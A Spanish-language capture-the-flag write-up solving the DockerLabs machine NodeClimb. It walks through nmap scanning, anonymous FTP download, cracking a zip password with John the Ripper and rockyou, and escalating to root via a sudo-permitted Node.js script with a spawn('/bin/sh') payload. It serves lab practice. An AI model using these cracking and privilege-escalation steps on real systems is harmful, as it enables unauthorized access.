NodeClimb
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»En este artículo se documenta la resolución de la máquina virtual NodeClimb, creada por El Pingüino de Mario, y categorizada como de dificultad fácil. A lo largo del documento se describen detalladamente las fases de reconocimiento, explotación y elevación de privilegios, empleando herramientas comunes en entornos CTF para comprometer el sistema objetivo.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: NodeClimb
- Autor: El Pingüino de Mario
- Nivel de Dificultad: Fácil
- Fecha de creación: 05/07/2024
Paso 0: Instalación / Despliegue
Sección titulada «Paso 0: Instalación / Despliegue»-
Descargamos la máquina desde DockerLabs.
-
Descomprimimos el archivo:
Ventana de terminal unzip NodeClimb.zip -
Ejecutamos el script de despliegue:
Ventana de terminal sudo bash auto_deplo.sh NodeClimb.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Identificación de IP
Sección titulada «Identificación de IP»Al iniciar la máquina, esta muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

Organizamos el entorno de trabajo creando la estructura de carpetas:
mkdir NodeClimbcd NodeClimbmkt # Crea: content, exploits, nmap, scriptsEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Ejecutamos un escaneo completo con nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsA continuación, extraemos los puertos abiertos:
extractPorts allPorts
Detección de Servicios
Sección titulada «Detección de Servicios»Realizamos un escaneo más detallado para identificar versiones de servicios:
nmap -sCV -p22,80 172.17.0.2 -oN targeted
Durante esta fase identificamos un archivo interesante en el servidor FTP: secretitopicarion.zip.
Paso 2: Explotación
Sección titulada «Paso 2: Explotación»Acceso anónimo por FTP
Sección titulada «Acceso anónimo por FTP»El servidor FTP permite autenticación anónima (ftp-anon), lo que nos permite listar y descargar archivos sin necesidad de credenciales.

Usamos ls para verificar el contenido disponible y descargamos el archivo comprimido:

Descifrado del archivo ZIP
Sección titulada «Descifrado del archivo ZIP»El archivo secretitopicarion.zip está protegido por contraseña. Aplicamos fuerza bruta utilizando John the Ripper:
-
Generamos el hash del archivo:
Ventana de terminal zip2john secretitopicarion.zip > hash.txt
-
Ejecutamos el crackeo con la wordlist
rockyou.txt:Ventana de terminal john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Una vez extraído el contenido, accedemos al archivo password.txt, el cual contiene un usuario y contraseña válidos para conectarnos por SSH.


En la sesión SSH encontramos un archivo interesante: script.js.
Paso 3: Elevación de Privilegios
Sección titulada «Paso 3: Elevación de Privilegios»Comprobamos los privilegios disponibles con sudo -l:

Se nos permite ejecutar el archivo script.js como superusuario utilizando Node.js. Insertamos el siguiente código en el archivo para obtener una shell como root:
process.setuid(0);require("child_process").spawn("/bin/sh", { stdio: [0, 1, 2] });Ejecutamos el script con privilegios:
sudo /usr/bin/node /home/mario/script.js
Esto nos otorga acceso como superusuario.

Conclusión
Sección titulada «Conclusión»La máquina NodeClimb nos permitió practicar diferentes vectores de ataque, desde el acceso anónimo por FTP hasta la explotación de scripts en Node.js para escalar privilegios. A través de una metodología estructurada —reconocimiento, enumeración, explotación y post-explotación— logramos comprometer completamente el sistema y obtener acceso como usuario root.